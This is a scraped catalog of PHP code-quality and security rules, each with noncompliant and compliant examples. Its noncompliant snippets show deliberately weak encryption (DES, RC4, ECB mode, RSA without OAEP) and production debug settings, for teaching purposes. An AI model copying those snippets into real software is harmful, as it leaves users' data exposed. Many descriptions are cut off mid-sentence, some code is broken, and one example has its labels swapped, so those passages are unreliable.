By default, PHPUnit CLI only executes test classes with names that end in "Test". Name your class "TestClassX.php", for instance, and it will be skipped. This rule raises an issue for each test class with a name not ending in "Test". Noncompliant Code Exampleclass TestClassX extends PHPUnit\Framework\TestCase { // Noncompliant public void testDoTheThing() { //... Compliant Solutionclass ClassXTest extends PHPUnit\Framework\TestCase { public void testDoTheThing() { //... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S836 |
In PHP it is not required to initialize variables before their usage. However, using uninitialized variables is considered bad practice and should be avoided because of the following reasons: * The value and type of uninitialized variables depend on the context of their first usage. It is better to be explicit about those to avoid confusion. * The interpreter raises a warning or a notice in many cases. Noncompliant Code Example<?php function getText(array $lines): string { foreach ($lines as $line) { $text .= $line; } return $text; } Compliant Solution<?php function getText(array $lines): string { $text = ""; foreach ($lines as $line) { $text .= $line; } return $text; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3801 |
Because it is dynamically typed, PHP does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain. In particular, it is consequently also possible to mix empty Noncompliant Code Examplefunction foo($a) { // Noncompliant, function will return "true" or null if ($a == 1) { return true; } return; } Compliant Solutionfunction foo($a) { if ($a == 1) { return true; } return false; } or function foo($a) { if ($a == 1) { return true; } return null; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3923 |
Having all branches in a Noncompliant Code Exampleif ($b == 0) { // Noncompliant doOneMoreThing(); } else { doOneMoreThing(); } $b = $a > 12 ? 4 : 4; // Noncompliant switch ($i) { // Noncompliant case 1: doSomething(); break; case 2: doSomething(); break; case 3: doSomething(); break; default: doSomething(); } ExceptionsThis rule does not apply to if($b == 0) { //no issue, this could have been done on purpose to make the code more readable doSomething(); } elseif($b == 1) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5785 |
Testing equality or nullness with PHPUnit's Noncompliant Code ExampleassertTrue($a === $b); assertTrue($a == $b); assertTrue($a === null); assertTrue($a !== null); assertTrue($a !== $b); assertTrue($a != $b); assertFalse($a === $b); assertFalse($a == $b); Compliant SolutionassertEquals($a, $b); assertSame($a, $b); assertNull($a); assertNotNull($a); assertNotEquals($a, $b); assertNotSame($a, $b); assertNotEquals($a, $b); assertNotSame($a, $b); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1185 |
Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading. The only time
this is justified is in Noncompliant Code Exampleclass Child extends Parent { public function func($n,$m) { parent::func($n$m); // Noncompliant } } class Parent { public function func($n, $m) { // do something } } Compliant Solutionclass Child extends Parent { public function func($n,$m) { parent::func($n$m); // do additional things... } } class Parent { public function func($n, $m) { // do something } } or class Child extends Parent { // function eliminated } class Parent { public function func($n, $m) { // do something } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1186 |
There are several reasons for a method not to have a method body: * It is an unintentional omission and should be fixed to prevent unexpected behavior in production. * It is not yet, or never will be, supported. In this case an * The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override. Noncompliant Code Examplepublic function doSomething() { } public function doSomethingElse() { } Compliant Solutionpublic function doSomething() { // Do nothing because of X and Y. } public function doSomethingElse() { throw new UnsupportedOperationException(); } ExceptionsEmpty methods in abstract classes abstract class Animal { public function speak() {} // default implementation ignored } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1066 |
Merging collapsible Noncompliant Code Exampleif (condition1) { if (condition2) { ... } } Compliant Solutionif (condition1 && condition2) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2277 |
Without OAEP in RSA encryption, it takes less work for an attacker to decrypt the data or infer patterns from the ciphertext. This rule logs an
issue when Noncompliant Code Examplefunction encrypt($data, $key) { $crypted=''; openssl_public_encrypt($data, $crypted, $key, OPENSSL_NO_PADDING); // Noncompliant return $crypted; } Compliant Solutionfunction encrypt($data, $key) { $crypted=''; openssl_public_encrypt($data, $crypted, $key, OPENSSL_PKCS1_OAEP_PADDING); return $crypted; } See
DeprecatedThis rule is deprecated; use S5542 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5783 |
When verifying that code raises an exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about what is exactly tested. When two of the methods can raise the same exception, not respecting this good practice is a bug, since it is not possible to know what is really tested. Noncompliant Code Examplepublic function testSomething() { try { g(y(1)); // Noncompliant $this->fail('RuntimeException is not thrown'); } catch (RuntimeException $e) {} } Compliant Solutionpublic function testSomething() { $y = y(1); try { g($y); $this->fail('RuntimeException is not thrown by g()'); } catch (RuntimeException $e) {} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code Example$c01 = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c02 = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c03 = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c04 = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c05 = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c06 = mcrypt_encrypt(MCRYPT_RC2, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality $c07 = mcrypt_encrypt(MCRYPT_RC4, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality function encrypt1($data, $key) { $crypted=''; openssl_public_encrypt($data, $crypted, $key, OPENSSL_NO_PADDING); // Noncompliant: RSA without OAEP padding scheme is not recommanded return $crypted; } $c1 = openssl_encrypt($plaintext, "BF-ECB", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality $c2 = openssl_encrypt($plaintext, "RC2-ECB", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality $c3 = openssl_encrypt($plaintext, "bf-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality $c4= openssl_encrypt($plaintext, "des-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality $c5 = openssl_encrypt($plaintext, "rc2-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality Compliant Solution$c6 = openssl_encrypt($plaintext, "aes-256-gcm", $key, $options=OPENSSL_RAW_DATA, $iv); // Compliant function encrypt2($data, $key) { $crypted=''; openssl_public_encrypt($data, $crypted, $key, OPENSSL_PKCS1_OAEP_PADDING); // Compliant return $crypted; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3 if ((($condition1 && $condition2) || ($condition3 && $condition4)) && $condition5) { ... } Compliant Solutionif ( (my_first_condition() || my_second_condition()) && my_last_condition()) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community. More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits. Noncompliant Code Example<?php // mcrypt_encrypt is deprecated since PHP 7.1 $c1 = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search $c2 = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, $mode); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search $c3 = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, $mode) // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack $c4 = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, $mode); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack $c5 = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $plaintext, $mode); // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks $c6 = mcrypt_encrypt(MCRYPT_RC2, $key, $plaintext, $mode); // Noncompliant: RC2 is vulnerable to a related-key attack $c7 = mcrypt_encrypt(MCRYPT_RC4, $key, $plaintext, $mode); // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) $c8 = openssl_encrypt($plaintext, "bf-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks $c9 = openssl_encrypt($plaintext, "des-ede3", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack $c10 = openssl_encrypt($plaintext, "des-ofb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search $c11 = openssl_encrypt($plaintext, "rc2-cbc", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: RC2 is vulnerable to a related-key attack $c12 = openssl_encrypt($plaintext, "rc4", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) ?> Compliant Solution<?php $c1= openssl_encrypt($plaintext, "aes-256-gcm", $key, $options=OPENSSL_RAW_DATA, $iv); // Compliant ?> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2037 |
References in a class to static class members (fields or methods) can be made using either Noncompliant Code Example<?php class Toy { public static function status() { self::getStatus(); // Noncompliant; will always print "Sticks are fun!" even when called from a subclass which overrides this method; } protected static function getStatus() { echo "Sticks are fun!"; } } class Ball extends Toy { protected static function getStatus() { // Doesn't actually get called echo "Balls are fun!"; } } $myBall = new Ball(); $myBall::status(); // Prints "Sticks are fun!" Compliant Solution<?php class Toy { public static function status() { static::getStatus(); // Compliant } protected static function getStatus() { echo "Sticks are fun!"; } } class Ball extends Toy { protected static function getStatus() { echo "Balls are fun!"; } } $myBall = new Ball(); $myBall::status(); // Prints "Balls are fun!" ExceptionsNo issue is raised when class A { private static $somevar = "hello"; const CONSTANT = 42; private static function foo() { $var = self::$somevar . self::CONSTANT; // Should be OK self::foo(); // Should be OK } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1068 |
If a Noncompliant Code Exampleclass MyClass { private $foo = 4; //foo is unused public function compute($a) { return $a * 4; } } Compliant Solutionclass MyClass { public function compute($a) { return $a * 4; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2278 |
According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:
For similar reasons, RC2 should also be avoided. Noncompliant Code Example<?php $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode); // Noncompliant // ... $ciphertext = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, $mode); // Noncompliant // ... $ciphertext = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, $mode); // Noncompliant // ... $ciphertext = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, $mode); // Noncompliant $cipher = "des-ede3-cfb"; // Noncompliant $ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv); ?> Compliant Solution<?php $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv); ?> See
DeprecatedThis rule is deprecated; use S5547 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2036 |
Files that define symbols such as classes and variables may be included into many files. Simply performing that inclusion should have no effect on
those files other than declaring new symbols. For instance, a file containing a class definition should not also contain side-effects such as
Noncompliant Code Example<?php print "Include worked!"; class foo { // ... } Compliant Solution<?php class foo { public function log() { print "Include worked!"; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1862 |
A Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. For a On the other hand, if the first case does not end with a Noncompliant Code Exampleif ($param == 1) openWindow(); else if ($param == 2) closeWindow(); else if ($param == 1) // Noncompliant moveWindowToTheBackground(); switch($i) { case 1: //... break; case 3: //... break; case 1: // Noncompliant //... break; default: // ... break; } Compliant Solutionif ($param == 1) openWindow(); else if ($param == 2) closeWindow(); else if ($param == 3) moveWindowToTheBackground(); switch($i) { case 1: //... break; case 3: //... break; default: // ... break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2830 |
Dependency injection is a software design pattern in which one or more dependencies (or services) are injected, or passed by reference, into a dependent object (or client) and are made part of the client's state. The pattern separates the creation of a client's dependencies from its own behavior, which allows program designs to be loosely coupled and to follow the dependency inversion and single responsibility principles. Noncompliant Code Exampleclass SomeClass { public function __construct() { $this->object = new SomeOtherClass(); // Noncompliant } } Compliant Solutionclass SomeClass { public function __construct(SomeOtherClass $object) { $this->object = $object; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2038 |
Shared coding conventions allow teams to collaborate effectively. Writing colors in upper case makes them stand out at such, thereby making the code easier to read. This rule checks that hexadecimal color definitions are written in upper case. Noncompliant Code Example$white = '#ffffff'; // Noncompliant $dkgray = '#006400'; $aqua = '#00ffff'; // Noncompliant Compliant Solution$white = '#FFFFFF'; // Compliant $dkgray = '#006400'; $aqua = '#00FFFF'; // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2260 |
When the PHP parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1172 |
Unused parameters are misleading. Whatever the value passed to such parameters is, the behavior will be the same. Noncompliant Code Examplefunction doSomething($a, $b) { // "$a" is unused return compute($b); } Compliant Solutionfunction doSomething($b) { return compute($b); } ExceptionsFunctions in classes that override a class or implement interfaces are ignored. class C extends B { function doSomething($a, $b) { // no issue reported on $b compute($a); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2701 |
Instead of using boolean literals or null in an equality with assertSame() or assertEquals(), it is recommended to rely on the alternative functions assertTrue(), assertFalse(), assertNull(), and assertNotNull(). Noncompliant Code ExampleassertEquals(true, $x); // Noncompliant {{Use assertTrue() instead.}} assertNotEquals(false, $x); // Noncompliant {{Use assertTrue() instead.}} assertSame(null, $x); // Noncompliant {{Use assertNull() instead.}} assertNotSame(true, $x); // Noncompliant {{Use assertFalse() instead.}} Compliant SolutionassertTrue($x); // Compliant assertFalse($x); // Compliant assertNull($x); // Compliant assertNotNull($x); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Example$i = $a + $b; // Noncompliant; calculation result not used before value is overwritten $i = compute(); Compliant Solution$i = $a + $b; $i += compute(); ExceptionsThis rule ignores initializations to -1, 0, 1, See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5899 |
The PHPUnit test runner does execute public methods defined within test classes that have a name starting with "test" or the @test annotation. Methods that do not convey to this will not get executed. This rule raises an issue on methods marked as test methods (by name or annotation) but do not have a public visibility. An issue is also raised on public methods that are not marked as tests, do contain assertions, and are not called from within another discoverable test method within the class. No issues are raised in abstract classes. Noncompliant Code Exampleclass MyTest extends \PHPUnit\Framework\TestCase { private function testA() { // Noncompliant $this->assertTrue(getValue()); } public function b() { // Noncompliant $this->assertTrue(getValue()); } } Compliant Solutionclass MyTest extends \PHPUnit\Framework\TestCase { public function testA() { // Compliant $this->assertTrue(getValue()); } public function testB() { $this->b(); } public function b() { // Compliant $this->assertTrue(getValue()); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5779 |
PHPUnit assertions do throw a PHPUnit\Framework\ExpectationFailedException exception when they fail. This is how PHPUnit internally notices when assertions within testcases fail. However, if such an exception type or one of its parent types is captured within a try-catch block and not rethrown, PHPUnit does not notice the assertion failure. This check raises an issue on assertions within the try body of a try-catch block that do catch exceptions of the type PHPUnit\Framework\ExpectationFailedException, PHPUnit\Framework\AssertionFailedError, or Exception, and do not handle the variable holding the exception. Noncompliant Code Examplepublic function testA() { try { assertTrue(getValue()); // Noncompliant } catch (\PHPUnit\Framework\ExpectationFailedException $e) { } } Compliant Solutionpublic function testB() { try { assertTrue(getValue()); // Compliant } catch (\PHPUnit\Framework\ExpectationFailedException $e) { assertEquals("Some message", $e->getMessage()); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Examplefunction get_readable_status($is_running, $has_errors) { return $is_running ? "Running" : ($has_errors ? "Failure" : "Succeeded"); // Noncompliant } Compliant Solutionfunction get_readable_status($is_running, $has_errors) { if ($is_running) { return "Running"; } return $has_errors ? "Failure. " : "Succeeded "; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. Noncompliant Code Examplefunction numberOfMinutes($hours) { $seconds = 0; // seconds is never used return hours * 60; } Compliant Solutionfunction numberOfMinutes($hours) { return hours * 60; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1121 |
Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects. Noncompliant Code Exampleif ($val = value() && check()) { // Noncompliant } Compliant Solution$val = value(); if ($val && check()) { } or if ($val == value() && check()) { // Perhaps in fact the assignment operator was expected } ExceptionsAssignments in while (($line = next_line()) != NULL) {...} while ($line = next_line()) {...} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1124 |
The PSR2 standard recommends listing modifiers in the following order to improve the readability of PHP source code:
Noncompliant Code Examplestatic protected $foo; ... public static final function bar(){...} Compliant Solutionprotected static $foo; ... final public static function bar(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif ($booleanVariable == true) { /* ... */ } if ($booleanVariable != true) { /* ... */ } if ($booleanVariable || false) { /* ... */ } doSomething(!false); Compliant Solutionif ($booleanVariable) { /* ... */ } if (!$booleanVariable) { /* ... */ } if ($booleanVariable) { /* ... */ } doSomething(true); ExceptionsThe use of literal booleans in comparisons which use identity operators ( |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1488 |
Declaring a variable only to immediately return or throw it is a bad practice. Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned. Noncompliant Code Examplefunction computeDurationInMilliseconds() { $duration = ((($hours * 60) + $minutes) * 60 + $seconds ) * 1000 ; return $duration; } Compliant Solutionfunction computeDurationInMilliseconds() { return ((($hours * 60) + $minutes) * 60 + $seconds ) * 1000; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2699 |
A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test. This rule raised an issue when no assertions are found within a PHPUnit test method. Noncompliant Code Examplepublic function testDoSomething() { // Compliant $myClass = new MyClass(); $myClass->getSomething(); } Compliant Solutionpublic function testDoSomething() { // Noncompliant $myClass = new MyClass(); $this->assertEquals("foo", $myClass->getSomething()); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1126 |
Return of boolean literal statements wrapped into Noncompliant Code Exampleif (expression) { return true; } else { return false; } Compliant Solutionreturn expression; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1116 |
Empty statements, i.e.
Noncompliant Code Examplefunction doSomething() { ; // Noncompliant - was used as a kind of TODO marker } function doSomethingElse($p) { echo $p;; // Noncompliant - double ; } for ($i = 1; $i <= 10; doSomething($i), $i++); // Noncompliant - Rarely, they are used on purpose as the body of a loop. It is a bad practice to have side-effects outside of the loop body Compliant Solutionfunction doSomething() {} function doSomethingElse($p) { echo $p; for ($i = 1; $i <= 10; $i++) { doSomething($i); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3415 |
The standard PHPUnit assertion methods such as This rule raises an issue when the second argument to an assertions library method is a hard-coded value and the first argument is not. Noncompliant Code Exampleself::assertEquals($runner.getExitCode(), 0, "Unexpected exit code"); // Noncompliant; Failed asserting that 0 matches expected 3. Expected :3 Actual :0. Compliant Solutionself::assertEquals(0, $runner.getExitCode(), "Unexpected exit code"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code ExampleCakePHP 1.x, 2.x: Configure::write('debug', 1); // Sensitive: development mode or Configure::write('debug', 2); // Sensitive: development mode or Configure::write('debug', 3); // Sensitive: development mode CakePHP 3.0: use Cake\Core\Configure; Configure::config('debug', true); // Sensitive: development mode Compliant SolutionCakePHP 1.2: Configure::write('debug', 0); // Compliant; this is the production mode CakePHP 3.0: use Cake\Core\Configure; Configure::config('debug', false); // Compliant: "0" or "false" for CakePHP 3.x is suitable (production mode) to not leak sensitive data on the logs. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. Noncompliant Code Exampleclass Foo { public $myField; public function doSomething() { $myField = 0; ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4508 |
Deserializing objects is security-sensitive. For example, it has led in the past to the following vulnerabilities:
Object deserialization from an untrusted source can lead to unexpected code execution. Deserialization takes a stream of bits and turns it into an
object. If the stream contains the type of object you expect, all is well. But if you're deserializing data coming from untrusted input, and an
attacker has inserted some other type of object, you're in trouble. Why? A known attack
scenario involves the creation of a serialized PHP object with crafted attributes which will modify your application's behavior. This attack
relies on PHP magic methods like Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding PracticesTo prevent insecure deserialization, it is recommended to:
See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:NoSonar |
Any issue to quality rule can be deactivated with the This rule raises an issue when |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2681 |
Curly braces can be omitted from a one-line block, such as with an This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once. Noncompliant Code Exampleif ($condition) firstActionInBlock(); secondAction(); // Noncompliant; executed unconditionally thirdAction(); if($condition) firstActionInBlock(); secondAction(); // Noncompliant; secondAction executed unconditionally if($condition) firstActionInBlock(); // Noncompliant secondAction(); // Executed unconditionally $str = null; for ($i = 0; $i < count($array); $i++) $str = $array[$i]; doTheThing($str); // Noncompliant; executed only on last array element Compliant Solutionif ($condition) { firstActionInBlock(); secondAction(); } thirdAction(); if($condition) { firstActionInBlock(); secondAction(); } if($condition) { firstActionInBlock(); secondAction(); } $str = null; for ($i = 0; $i < count($array); $i++) { $str = $array[$i]; doTheThing($str); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Example$x = ($y / 2 + 1); // Compliant even if the parenthesis are ignored by the compiler if ($a && (($x + $y > 0))) { // Noncompliant //... } return (($x + 1)); // Noncompliant Compliant Solution$x = ($y / 2 + 1); if ($a && ($x + $y > 0)) { //... } return ($x + 1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5713 |
Repeating an exception class in a single Having a subclass and a parent class in the same This rule raises an issue when an exception class is duplicated in a Noncompliant Code Exampletry { throw new CustomException(); } catch(CustomException | Exception $e) { // Noncompliant. CustomException inherits from Exception echo $e->message(); } try { throw new CustomException(); } catch(Exception | Exception $e) { // Noncompliant. echo $e->message(); } Compliant Solutiontry { throw new CustomException(); } catch(Exception $e) { echo $e->message(); } try { throw new CustomException(); } catch(CustomException $e) { echo $e->getCustomMessage(); } catch(Exception $e) { echo $e->message(); } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2201 |
When the call to a function doesn't have any side effect, what is the point of making the call if the results are ignored? In such cases, either the function call is useless and should be dropped, or the source code doesn't behave as expected. Noncompliant Code Examplestrlen($name); // Noncompliant; "strlen" has no side effect Compliant Solution$length = strlen($name); See
|
